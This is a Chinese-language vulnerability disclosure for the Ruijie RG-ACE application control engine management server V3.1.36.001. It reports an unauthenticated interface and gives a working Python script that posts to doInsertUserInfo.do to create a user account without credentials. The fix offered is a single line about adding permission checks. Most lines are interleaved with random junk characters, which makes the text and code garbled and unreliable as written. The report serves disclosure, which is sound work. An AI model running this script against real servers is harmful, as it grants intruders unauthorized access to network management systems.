锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)
$ R0 L( J5 A$ f8 Y* ]# _5 f& L9 \& x$ i6 c2 c+ |. }
) C+ s3 I$ k& `! H
测试的具体版本是
( K$ m+ q; M. J, J- v产品名称: 锐捷应用控制引擎) S9 W0 c$ c! i" J Z. D+ _
版本号: 3.1.36.001 TC
. w6 r! Y) e% s编译时间: 201104291730
5 p. ^8 }; x# @4 c$ N; L) g
7 F2 J; S; R% d" W, A+ r" k0 h5 z8 t1 @( l
漏洞证明:2 s/ u3 P) Q, B" s% `, B* ~
- u. E6 }% \, K2 V
- e: h( d' u4 n6 D% ^: F- Q9 g+ h3 I. V# ~0 ?7 y
+ J) O; c0 r/ U4 {' ~: H( f
- R8 u& v) S2 f1 x2 f) X: s/ q( e& q* ^
执行脚本( _7 H5 j" B) ^9 P4 @6 `
#! /usr/bin/env python
9 Y( S/ A' ` I. `2 z6 H8 Q#coding=gbk) X/ X7 c _: h; W8 n" L. o7 S
#RG-ACE管理服务器 V3.1.36.001
^$ b D2 L1 d$ d! Gimport urllib2, urllib,cookielib1 t$ S* j7 x" s5 s D( y9 C6 O
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP0 o# a, r: S" k; A
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))2 o! O) M7 F' C- M/ P" x
opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]! b- @9 i- A! l
post=(("event","userManager.doInsertUserInfo"),
( d/ O! x7 P# }% m$ Z. Q- C# @("useractionname","addButtonValue"),
8 n0 }: X. Q* |("useropermanager","userManager"),& _( U! s X% E/ l
("userName","t"), #######账号自己加0 u' I* ~, H% |% f8 t2 F
("pwd","aaaaaa"),######密码自己加
- y& A: K/ e# Q' ]. N% i% z("trueName","ad"),7 A% O% l6 E; E. b
("email",""),
% R$ S0 r9 h I7 s' C("mobilePhone",""),% `# z4 p W( a$ i& t+ e8 c
("officePhone",""),
. M/ k2 T+ h8 B* w, r+ r9 X("addr",""),
8 X# E0 P/ h g% ~* ~; @+ O% c' T("submit","确定"))3 z9 `- d7 \0 ?- U' @/ ~4 @
urllib2.install_opener(opener)
% Y% T" c7 I% i: W0 O5 u6 ~p=urllib2.urlopen(url, urllib.urlencode(post)).read()
, N3 ]! }# U3 m+ s! T7 o& hprint "Done"+ l$ [9 |# y$ S2 r
5 N: i3 ~* v2 |7 }登录,连接设备
! N# ]/ N1 a3 F- J" _; ^ p) v O/ G! c) I5 F2 c3 j
9 i4 X) G+ P& m- w
4 u# W* D4 P# p) p& p3 B/ V# }6 w4 J& ]% `9 K8 @4 G
& f2 E* g1 I: U. g$ M- v5 _, K
默认的管理员admin权限更大点
( s9 [; D r. c F1 U2 B- n* ?7 p$ q6 Z5 G. y7 H9 p8 f; q( @
& z8 K5 O4 m" N% R; \5 O: l8 ? S$ b& N
! H: ~- O* A8 O
W1 G) Y4 e/ R |- P4 {# x0 i修复方案:6 p* e3 j$ x8 i7 M
加强对接口的权限验证7 Y- E2 J' c6 ~ ~ O* {
, Y, w% H: B6 _5 h9 O |